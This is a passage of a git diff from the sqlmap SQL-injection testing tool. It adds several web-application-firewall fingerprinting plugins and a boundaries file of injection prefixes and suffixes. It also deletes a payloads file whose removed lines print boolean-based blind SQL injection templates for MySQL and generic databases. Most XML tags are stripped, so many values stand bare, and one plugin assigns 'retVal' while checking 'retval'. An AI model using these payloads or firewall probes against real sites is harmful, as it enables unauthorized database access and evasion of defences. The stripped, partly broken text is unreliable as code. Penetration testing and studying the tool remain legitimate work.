(http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "ASP.NET RequestValidationMode (Microsoft)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = "ASP.NET has detected data in the request that is potentially dangerous" in page + retval |= "Request Validation has detected a potentially dangerous client input value" in page + if retval: + break + + return retval diff --git a/waf/safedog.py b/waf/safedog.py new file mode 100644 index 000000000..63c7fdddd --- /dev/null +++ b/waf/safedog.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Safedog Web Application Firewall (Safedog)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = re.search(r"WAF/2.0", headers.get("X-Powered-By", ""), re.I) is not None + if retval: + break + + return retval diff --git a/waf/secureiis.py b/waf/secureiis.py index 0082a8b62..425ebdfe5 100644 --- a/waf/secureiis.py +++ b/waf/secureiis.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/senginx.py b/waf/senginx.py new file mode 100644 index 000000000..a4bdb1bf2 --- /dev/null +++ b/waf/senginx.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "SEnginx (Neusoft Corporation)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = "SENGINX-ROBOT-MITIGATION" in page + if retval: + break + + return retval diff --git a/waf/sucuri.py b/waf/sucuri.py new file mode 100644 index 000000000..61344628e --- /dev/null +++ b/waf/sucuri.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Sucuri WebSite Firewall" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + if retval: + break + + return retval diff --git a/waf/teros.py b/waf/teros.py index c2e693d81..99afbd8c3 100644 --- a/waf/teros.py +++ b/waf/teros.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/trafficshield.py b/waf/trafficshield.py index bcc5b59a5..e90c6671e 100644 --- a/waf/trafficshield.py +++ b/waf/trafficshield.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/urlscan.py b/waf/urlscan.py new file mode 100644 index 000000000..7d094482c --- /dev/null +++ b/waf/urlscan.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "UrlScan (Microsoft)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = re.search(r"Rejected-By-UrlScan", headers.get(HTTP_HEADER.LOCATION, ""), re.I) is not None + if retval: + break + + return retval diff --git a/waf/uspses.py b/waf/uspses.py index b6362242e..e3192298f 100644 --- a/waf/uspses.py +++ b/waf/uspses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/varnish.py b/waf/varnish.py new file mode 100644 index 000000000..a6f672fd0 --- /dev/null +++ b/waf/varnish.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Varnish FireWall (OWASP) " + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = headers.get("X-Varnish") is not None + retval |= re.search(r"varnish\Z", headers.get(HTTP_HEADER.VIA, ""), re.I) is not None + if retval: + break + + return retval diff --git a/waf/webappsecure.py b/waf/webappsecure.py index 7bd417473..5faf88ebf 100644 --- a/waf/webappsecure.py +++ b/waf/webappsecure.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/webknight.py b/waf/webknight.py index e17b18a6b..11f82ee60 100644 --- a/waf/webknight.py +++ b/waf/webknight.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/xml/banner/generic.xml b/xml/banner/generic.xml index 6844b8443..9a221fd91 100644 --- a/xml/banner/generic.xml +++ b/xml/banner/generic.xml @@ -7,10 +7,26 @@ - + + + + + + + + + + + + + + + + + diff --git a/xml/banner/server.xml b/xml/banner/server.xml index cd64d8b8a..0fcb29519 100644 --- a/xml/banner/server.xml +++ b/xml/banner/server.xml @@ -2,28 +2,31 @@ + + + + - + - + - + - + @@ -75,11 +78,11 @@ - + - + @@ -140,6 +143,10 @@ + + + + @@ -230,98 +237,114 @@ + + + + + + + + + + + + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + + + + + @@ -430,10 +453,6 @@ - - - - @@ -504,6 +523,10 @@ + + + + @@ -611,6 +634,14 @@ + + + + + + + + @@ -670,7 +701,11 @@ - + + + + + diff --git a/xml/boundaries.xml b/xml/boundaries.xml new file mode 100644 index 000000000..aa9e75eee --- /dev/null +++ b/xml/boundaries.xml @@ -0,0 +1,582 @@ + + + + + + + + 3 + 1 + 1,2 + 1 + ) + + + + + 4 + 1 + 1,2 + 2 + ') + + + + + 3 + 1,2,3 + 1,2 + 2 + ' + + + + + 5 + 1 + 1,2 + 4 + " + + + + + + + 1 + 1 + 1,2 + 1 + ) + AND ([RANDNUM]=[RANDNUM] + + + + 2 + 1 + 1,2 + 1 + )) + AND (([RANDNUM]=[RANDNUM] + + + + 3 + 1 + 1,2 + 1 + ))) + AND ((([RANDNUM]=[RANDNUM] + + + + 1 + 0 + 1,2,3 + 1 + + + + + + 1 + 1 + 1,2 + 2 + ') + AND ('[RANDSTR]'='[RANDSTR] + + + + 2 + 1 + 1,2 + 2 + ')) + AND (('[RANDSTR]'='[RANDSTR] + + + + 3 + 1 + 1,2 + 2 + '))) + AND ((('[RANDSTR]'='[RANDSTR] + + + + 1 + 1 + 1,2 + 2 + ' + AND '[RANDSTR]'='[RANDSTR] + + + + 2 + 1 + 1,2 + 3 + ') + AND ('[RANDSTR]' LIKE '[RANDSTR] + + + + 3 + 1 + 1,2 + 3 + ')) + AND (('[RANDSTR]' LIKE '[RANDSTR] + + + + 4 + 1 + 1,2 + 3 + '))) + AND ((('[RANDSTR]' LIKE '[RANDSTR] + + + + 2 + 1 + 1,2 + 3 + ' + AND '[RANDSTR]' LIKE '[RANDSTR] + + + + 2 + 1 + 1,2 + 4 + ") + AND ("[RANDSTR]"="[RANDSTR] + + + + 3 + 1 + 1,2 + 4 + ")) + AND (("[RANDSTR]"="[RANDSTR] + + + + 4 + 1 + 1,2 + 4 + "))) + AND ((("[RANDSTR]"="[RANDSTR] + + + + 2 + 1 + 1,2 + 4 + " + AND "[RANDSTR]"="[RANDSTR] + + + + 3 + 1 + 1,2 + 5 + ") + AND ("[RANDSTR]" LIKE "[RANDSTR] + + + + 4 + 1 + 1,2 + 5 + ")) + AND (("[RANDSTR]" LIKE "[RANDSTR] + + + + 5 + 1 + 1,2 + 5 + "))) + AND ((("[RANDSTR]" LIKE "[RANDSTR] + + + + 3 + 1 + 1,2 + 5 + " + AND "[RANDSTR]" LIKE "[RANDSTR] + + + + 2 + 1 + 1,2 + 2 + %') + AND ('%'=' + + + + 3 + 1 + 1,2 + 2 + %')) + AND (('%'=' + + + + 4 + 1 + 1,2 + 2 + %'))) + AND ((('%'=' + + + + 1 + 1 + 1,2 + 2 + %' + AND '%'=' + + + + 4 + 1 + 1,2 + 2 + %") + AND ("%"=" + + + + 5 + 1 + 1,2 + 2 + %")) + AND (("%"=" + + + + 5 + 1 + 1,2 + 2 + %"))) + AND ((("%"=" + + + + 3 + 1 + 1,2 + 2 + %" + AND "%"=" + + + + 5 + 1 + 1,2 + 2 + %00') + AND ('[RANDSTR]'='[RANDSTR] + + + + 5 + 1 + 1,2 + 2 + %00')) + AND (('[RANDSTR]'='[RANDSTR] + + + + 5 + 1 + 1,2 + 2 + %00'))) + AND ((('[RANDSTR]'='[RANDSTR] + + + + 4 + 1 + 1,2 + 2 + %00' + AND '[RANDSTR]'='[RANDSTR] + + + + 1 + 1 + 1,2 + 1 + + -- [RANDSTR] + + + + 3 + 1 + 1,2 + 1 + + # [RANDSTR] + + + + + + 5 + 1 + 1,2 + 2 + ') WHERE [RANDNUM]=[RANDNUM] + -- + + + + 5 + 1 + 1,2 + 2 + ") WHERE [RANDNUM]=[RANDNUM] + -- + + + + 4 + 1 + 1,2 + 1 + ) WHERE [RANDNUM]=[RANDNUM] + -- + + + + 4 + 1 + 1,2 + 2 + ' WHERE [RANDNUM]=[RANDNUM] + -- + + + + 5 + 1 + 1,2 + 4 + " WHERE [RANDNUM]=[RANDNUM] + -- + + + + 4 + 1 + 1,2 + 1 + WHERE [RANDNUM]=[RANDNUM] + -- + + + + + + 5 + 1 + 1,2 + 2 + ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + -- + + + + 5 + 1 + 1,2 + 2 + ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + -- + + + + 5 + 1 + 1,2 + 1 + )) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + -- + + + + 4 + 1 + 1,2 + 2 + ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + -- + + + + 5 + 1 + 1,2 + 4 + ") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + -- + + + + 4 + 1 + 1,2 + 1 + ) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + -- + + + + + + 5 + 1 + 1 + 2 + '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] + )||' + + + + 5 + 1 + 1 + 2 + '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )||' + + + + 5 + 1 + 1 + 1 + '+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + )+' + + + + 5 + 1 + 1 + 2 + '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )+' + + + + + + 4 + 1 + 1 + 2 + ' IN BOOLEAN MODE) + # + + + diff --git a/xml/errors.xml b/xml/errors.xml index f48750c7e..ebb7ddd0a 100644 --- a/xml/errors.xml +++ b/xml/errors.xml @@ -5,8 +5,10 @@ + + @@ -15,29 +17,31 @@ + +
- + - + - + - + @@ -48,7 +52,7 @@ - + @@ -69,6 +73,7 @@ + @@ -79,7 +84,7 @@ - + diff --git a/xml/livetests.xml b/xml/livetests.xml index 32d840e91..4ee5eaabc 100644 --- a/xml/livetests.xml +++ b/xml/livetests.xml @@ -17,7 +17,7 @@ - + @@ -37,7 +37,7 @@ - + @@ -61,13 +61,13 @@ - - - + + + - + @@ -80,7 +80,7 @@ - + @@ -105,13 +105,13 @@ - - - + + + - + @@ -124,7 +124,7 @@ - + @@ -149,13 +149,13 @@ - - - + + + - + @@ -168,7 +168,7 @@ - + @@ -193,13 +193,13 @@ - - - + + + - + @@ -212,7 +212,7 @@ - + @@ -220,13 +220,13 @@ - + - + @@ -251,13 +251,13 @@ - - - + + + - + @@ -270,7 +270,7 @@ - + @@ -288,22 +288,22 @@ - + - - + + - + - + @@ -312,7 +312,7 @@ - + @@ -330,23 +330,23 @@ - + - - + + - + - + @@ -355,7 +355,7 @@ - + @@ -373,23 +373,23 @@ - + - - + + - + - + @@ -398,7 +398,7 @@ - + @@ -416,23 +416,23 @@ - + - - + + - + - + @@ -441,7 +441,7 @@ - + @@ -449,13 +449,13 @@ - + - + @@ -463,13 +463,13 @@ - + - + @@ -487,23 +487,23 @@ - + - - + + - + - + @@ -512,7 +512,7 @@ - + @@ -553,7 +553,7 @@ - + @@ -596,7 +596,7 @@ - + @@ -639,7 +639,7 @@ - + @@ -683,7 +683,7 @@ - + @@ -697,7 +697,7 @@ - + @@ -740,7 +740,7 @@ - + @@ -773,16 +773,17 @@ - + + - + @@ -905,7 +907,7 @@ - + @@ -913,7 +915,7 @@ - + @@ -938,7 +940,7 @@ - + @@ -946,7 +948,7 @@ - + @@ -970,7 +972,7 @@ - + @@ -978,7 +980,7 @@ - + @@ -988,12 +990,13 @@ - + + - + @@ -1049,7 +1053,7 @@ - + @@ -1065,7 +1069,7 @@ - + @@ -1127,7 +1131,7 @@ - + @@ -1142,7 +1146,7 @@ - + @@ -1166,7 +1170,7 @@ - + @@ -1181,7 +1185,7 @@ - + @@ -1191,13 +1195,13 @@ - + - + @@ -1221,7 +1225,7 @@ - + @@ -1239,7 +1243,7 @@ - + @@ -1257,7 +1261,7 @@ - + @@ -1275,7 +1279,7 @@ - + @@ -1291,12 +1295,12 @@ - + - + @@ -1309,12 +1313,12 @@ - + - + @@ -1327,11 +1331,11 @@ - + - + @@ -1343,7 +1347,7 @@ - + @@ -1361,7 +1365,7 @@ - + @@ -1379,7 +1383,7 @@ - + @@ -1395,7 +1399,7 @@ - + @@ -1409,9 +1413,10 @@ + - + @@ -1460,7 +1466,7 @@ - + @@ -1478,10 +1484,11 @@ - + + @@ -1489,11 +1496,12 @@ - + + @@ -1501,10 +1509,11 @@ - + + @@ -1512,11 +1521,12 @@ - + + @@ -1524,10 +1534,11 @@ - + + @@ -1535,11 +1546,12 @@ - + + @@ -1547,10 +1559,11 @@ - + + @@ -1558,11 +1571,12 @@ - + + @@ -1570,10 +1584,11 @@ - + + @@ -1581,11 +1596,12 @@ - + + @@ -1593,10 +1609,11 @@ - + + @@ -1604,11 +1621,12 @@ - + + @@ -1616,10 +1634,11 @@ - + + @@ -1627,11 +1646,12 @@ - + + @@ -1639,10 +1659,11 @@ - + + @@ -1650,11 +1671,12 @@ - + + @@ -1662,10 +1684,11 @@ - + + @@ -1673,11 +1696,12 @@ - + + @@ -1685,10 +1709,11 @@ - + + @@ -1696,11 +1721,12 @@ - + + @@ -1708,10 +1734,11 @@ - + + @@ -1719,10 +1746,11 @@ - + + @@ -1730,10 +1758,11 @@ - + + @@ -1741,10 +1770,11 @@ - + + @@ -1756,7 +1786,7 @@ - + @@ -1768,7 +1798,7 @@ - + @@ -1780,7 +1810,7 @@ - + @@ -1792,7 +1822,7 @@ - + @@ -1806,7 +1836,7 @@ - + @@ -1820,7 +1850,7 @@ - + @@ -1834,7 +1864,7 @@ - + @@ -1847,7 +1877,7 @@ - + @@ -1860,7 +1890,7 @@ - + @@ -1873,7 +1903,7 @@ - + @@ -1887,7 +1917,7 @@ - + @@ -1901,7 +1931,7 @@ - + @@ -1915,7 +1945,7 @@ - + @@ -1930,7 +1960,7 @@ - + @@ -1945,7 +1975,7 @@ - + @@ -1960,7 +1990,7 @@ - + @@ -1975,7 +2005,7 @@ - + @@ -1990,7 +2020,7 @@ - + @@ -2005,7 +2035,7 @@ - + @@ -2020,7 +2050,7 @@ - + @@ -2035,7 +2065,7 @@ - + @@ -2050,7 +2080,7 @@ - + @@ -2062,7 +2092,7 @@ - + @@ -2074,7 +2104,7 @@ - + @@ -2086,7 +2116,7 @@ - + @@ -2100,7 +2130,7 @@ - + @@ -2114,7 +2144,7 @@ - + @@ -2128,7 +2158,7 @@ - + @@ -2141,7 +2171,7 @@ - + @@ -2154,7 +2184,7 @@ - + @@ -2167,7 +2197,7 @@ - + @@ -2181,7 +2211,7 @@ - + @@ -2195,7 +2225,7 @@ - + @@ -2209,7 +2239,7 @@ - + @@ -2224,7 +2254,7 @@ - + @@ -2239,7 +2269,7 @@ - + @@ -2254,7 +2284,7 @@ - + @@ -2269,7 +2299,7 @@ - + @@ -2284,7 +2314,7 @@ - + @@ -2299,7 +2329,7 @@ - + @@ -2315,7 +2345,7 @@ - + @@ -2331,7 +2361,7 @@ - + @@ -2347,7 +2377,7 @@ - + @@ -2359,7 +2389,7 @@ - + @@ -2371,7 +2401,7 @@ - + @@ -2383,7 +2413,7 @@ - + @@ -2397,7 +2427,7 @@ - + @@ -2412,7 +2442,7 @@ - + @@ -2427,7 +2457,7 @@ - + @@ -2440,7 +2470,7 @@ - + @@ -2453,7 +2483,7 @@ - + @@ -2466,7 +2496,7 @@ - + @@ -2479,7 +2509,7 @@ - + @@ -2492,7 +2522,7 @@ - + @@ -2505,7 +2535,7 @@ - + @@ -2519,7 +2549,7 @@ - + @@ -2533,7 +2563,7 @@ - + @@ -2547,7 +2577,7 @@ - + @@ -2561,7 +2591,7 @@ - + @@ -2575,7 +2605,7 @@ - + @@ -2589,7 +2619,7 @@ - + @@ -2604,7 +2634,7 @@ - + @@ -2619,7 +2649,7 @@ - + @@ -2634,7 +2664,7 @@ - + @@ -2646,7 +2676,7 @@ - + @@ -2660,7 +2690,7 @@ - + @@ -2673,7 +2703,7 @@ - + @@ -2686,7 +2716,7 @@ - + @@ -2700,7 +2730,7 @@ - + @@ -2714,7 +2744,7 @@ - + @@ -2727,9 +2757,10 @@ + - + @@ -2777,7 +2809,7 @@ - + @@ -2790,7 +2822,7 @@ - + @@ -2806,7 +2838,7 @@ - + @@ -2817,7 +2849,7 @@ - + @@ -2828,7 +2860,7 @@ - + @@ -2839,7 +2871,7 @@ - + @@ -2850,7 +2882,7 @@ - + @@ -2861,7 +2893,7 @@ - + @@ -2873,7 +2905,7 @@ - + @@ -2884,7 +2916,7 @@ - + @@ -2895,7 +2927,7 @@ - + @@ -2906,7 +2938,7 @@ - + @@ -2917,7 +2949,7 @@ - + @@ -2928,7 +2960,7 @@ - + @@ -2940,7 +2972,7 @@ - + @@ -2951,7 +2983,7 @@ - + @@ -2962,7 +2994,7 @@ - + @@ -2973,7 +3005,7 @@ - + @@ -2984,7 +3016,7 @@ - + @@ -2995,7 +3027,7 @@ - + @@ -3006,7 +3038,7 @@ - + @@ -3017,7 +3049,7 @@ - + @@ -3026,9 +3058,10 @@ + - + @@ -3083,7 +3117,7 @@ - + @@ -3094,7 +3128,7 @@ - + @@ -3105,7 +3139,7 @@ - + @@ -3119,7 +3153,7 @@ - + @@ -3130,7 +3164,7 @@ - + @@ -3141,7 +3175,7 @@ - + @@ -3153,7 +3187,7 @@ - + @@ -3165,7 +3199,7 @@ - + @@ -3178,7 +3212,7 @@ - + @@ -3190,7 +3224,7 @@ - + @@ -3203,26 +3237,25 @@ - + - + - - + @@ -3254,7 +3286,7 @@ - + @@ -3265,7 +3297,7 @@ - + @@ -3281,7 +3313,7 @@ - + @@ -3294,7 +3326,7 @@ - + @@ -3303,13 +3335,13 @@ - + - + @@ -3320,7 +3352,7 @@ - + @@ -3330,7 +3362,7 @@ - + @@ -3339,13 +3371,13 @@ - + - + @@ -3357,7 +3389,7 @@ - + @@ -3368,7 +3400,7 @@ - + @@ -3379,7 +3411,7 @@ - + @@ -3388,7 +3420,7 @@ - + @@ -3397,13 +3429,13 @@ - + - + @@ -3412,7 +3444,7 @@ - + @@ -3421,71 +3453,71 @@ - + - - + + - + - + - - + + - + - + - + - + - + - + - + - + @@ -3511,13 +3543,13 @@ - - - + + + - + @@ -3531,73 +3563,73 @@ - + - + - + - + - + - + - + - + - + - + - + - + @@ -3607,10 +3639,10 @@ diff --git a/xml/payloads.xml b/xml/payloads.xml deleted file mode 100644 index 8d81e0bf9..000000000 --- a/xml/payloads.xml +++ /dev/null @@ -1,4419 +0,0 @@ - - - - - - - - 3 - 1 - 1,2 - 1 - ) - - - - - 4 - 1 - 1,2 - 2 - ') - - - - - 3 - 1 - 1,2 - 2 - ' - - - - - 5 - 1 - 1,2 - 4 - " - - - - - - - 1 - 1 - 1,2 - 1 - ) - AND ([RANDNUM]=[RANDNUM] - - - - 2 - 1 - 1,2 - 1 - )) - AND (([RANDNUM]=[RANDNUM] - - - - 3 - 1 - 1,2 - 1 - ))) - AND ((([RANDNUM]=[RANDNUM] - - - - 1 - 0 - 1,2,3 - 1 - - - - - - 1 - 1 - 1,2 - 2 - ') - AND ('[RANDSTR]'='[RANDSTR] - - - - 2 - 1 - 1,2 - 2 - ')) - AND (('[RANDSTR]'='[RANDSTR] - - - - 3 - 1 - 1,2 - 2 - '))) - AND ((('[RANDSTR]'='[RANDSTR] - - - - 1 - 1 - 1,2 - 2 - ' - AND '[RANDSTR]'='[RANDSTR] - - - - 2 - 1 - 1,2 - 3 - ') - AND ('[RANDSTR]' LIKE '[RANDSTR] - - - - 3 - 1 - 1,2 - 3 - ')) - AND (('[RANDSTR]' LIKE '[RANDSTR] - - - - 4 - 1 - 1,2 - 3 - '))) - AND ((('[RANDSTR]' LIKE '[RANDSTR] - - - - 2 - 1 - 1,2 - 3 - ' - AND '[RANDSTR]' LIKE '[RANDSTR] - - - - 2 - 1 - 1,2 - 4 - ") - AND ("[RANDSTR]"="[RANDSTR] - - - - 3 - 1 - 1,2 - 4 - ")) - AND (("[RANDSTR]"="[RANDSTR] - - - - 4 - 1 - 1,2 - 4 - "))) - AND ((("[RANDSTR]"="[RANDSTR] - - - - 2 - 1 - 1,2 - 4 - " - AND "[RANDSTR]"="[RANDSTR] - - - - 3 - 1 - 1,2 - 5 - ") - AND ("[RANDSTR]" LIKE "[RANDSTR] - - - - 4 - 1 - 1,2 - 5 - ")) - AND (("[RANDSTR]" LIKE "[RANDSTR] - - - - 5 - 1 - 1,2 - 5 - "))) - AND ((("[RANDSTR]" LIKE "[RANDSTR] - - - - 3 - 1 - 1,2 - 5 - " - AND "[RANDSTR]" LIKE "[RANDSTR] - - - - 2 - 1 - 1,2 - 2 - %') - AND ('%'=' - - - - 3 - 1 - 1,2 - 2 - %')) - AND (('%'=' - - - - 4 - 1 - 1,2 - 2 - %'))) - AND ((('%'=' - - - - 1 - 1 - 1,2 - 2 - %' - AND '%'=' - - - - 5 - 1 - 1,2 - 2 - %00') - AND ('[RANDSTR]'='[RANDSTR] - - - - 4 - 1 - 1,2 - 2 - %00' - AND '[RANDSTR]'='[RANDSTR] - - - - - - - 5 - 1 - 1,2 - 2 - ') WHERE [RANDNUM]=[RANDNUM] - -- - - - - 5 - 1 - 1,2 - 2 - ") WHERE [RANDNUM]=[RANDNUM] - -- - - - - 4 - 1 - 1,2 - 1 - ) WHERE [RANDNUM]=[RANDNUM] - -- - - - - 4 - 1 - 1,2 - 2 - ' WHERE [RANDNUM]=[RANDNUM] - -- - - - - 5 - 1 - 1,2 - 4 - " WHERE [RANDNUM]=[RANDNUM] - -- - - - - 4 - 1 - 1,2 - 1 - WHERE [RANDNUM]=[RANDNUM] - -- - - - - - - 5 - 1 - 1 - 2 - '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] - )||' - - - - 5 - 1 - 1 - 2 - '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )||' - - - - 5 - 1 - 1 - 1 - '+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM] - )+' - - - - 5 - 1 - 1 - 2 - '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )+' - - - - - - 4 - 1 - 1 - 2 - ' IN BOOLEAN MODE) - # - - - - - - AND boolean-based blind - WHERE or HAVING clause - 1 - 1 - 1 - 1 - 1 - AND [INFERENCE] - - AND [RANDNUM]=[RANDNUM] - - - AND [RANDNUM]=[RANDNUM1] - - - - - AND boolean-based blind - WHERE or HAVING clause (MySQL comment) - 1 - 4 - 1 - 1 - 1 - AND [INFERENCE] - - AND [RANDNUM]=[RANDNUM] - # - - - AND [RANDNUM]=[RANDNUM1] - -
- MySQL -
-
- - - AND boolean-based blind - WHERE or HAVING clause (Generic comment) - 1 - 4 - 1 - 1 - 1 - AND [INFERENCE] - - AND [RANDNUM]=[RANDNUM] - -- - - - AND [RANDNUM]=[RANDNUM1] - - - - - OR boolean-based blind - WHERE or HAVING clause - 1 - 2 - 3 - 1 - 2 - OR ([INFERENCE]) - - OR ([RANDNUM]=[RANDNUM]) - - - OR ([RANDNUM]=[RANDNUM1]) - - - - - OR boolean-based blind - WHERE or HAVING clause (MySQL comment) - 1 - 3 - 3 - 1 - 2 - OR ([INFERENCE]) - - OR ([RANDNUM]=[RANDNUM]) - # - - - OR ([RANDNUM]=[RANDNUM1]) - -
- MySQL -
-
- - - OR boolean-based blind - WHERE or HAVING clause (Generic comment) - 1 - 3 - 3 - 1 - 2 - OR ([INFERENCE]) - - OR ([RANDNUM]=[RANDNUM]) - -- - - - OR ([RANDNUM]=[RANDNUM1]) - - - - - MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE) - 1 - 3 - 1 - 1 - 1 - RLIKE IF([INFERENCE],[ORIGVALUE],0x28) - - RLIKE IF([RANDNUM]=[RANDNUM],[ORIGVALUE],0x28) - - - RLIKE IF([RANDNUM]=[RANDNUM1],[ORIGVALUE],0x28) - -
- MySQL -
-
- - - - - - Generic boolean-based blind - Parameter replace (original value) - 1 - 2 - 1 - 1,2,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) - - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) - - - - - MySQL boolean-based blind - Parameter replace (MAKE_SET - original value) - 1 - 3 - 1 - 1,2,3 - 3 - MAKE_SET([INFERENCE],[ORIGVALUE]) - - MAKE_SET([RANDNUM]=[RANDNUM],[ORIGVALUE]) - - - MAKE_SET([RANDNUM]=[RANDNUM1],[ORIGVALUE]) - -
- MySQL -
-
- - - MySQL boolean-based blind - Parameter replace (ELT - original value) - 1 - 4 - 1 - 1,2,3 - 3 - ELT([INFERENCE],[ORIGVALUE]) - - ELT([RANDNUM]=[RANDNUM],[ORIGVALUE]) - - - ELT([RANDNUM]=[RANDNUM1],[ORIGVALUE]) - -
- MySQL -
-
- - - MySQL boolean-based blind - Parameter replace (bool*int - original value) - 1 - 4 - 1 - 1,2,3 - 3 - ([INFERENCE])*[ORIGVALUE] - - ([RANDNUM]=[RANDNUM])*[ORIGVALUE] - - - ([RANDNUM]=[RANDNUM1])*[ORIGVALUE] - -
- MySQL -
-
- - - MySQL >= 5.0 boolean-based blind - Parameter replace (original value) - 1 - 3 - 1 - 1,2,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) - - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) - -
- MySQL - >= 5.0 -
-
- - - MySQL < 5.0 boolean-based blind - Parameter replace (original value) - 1 - 4 - 1 - 1,2,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) - - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) - -
- MySQL -
-
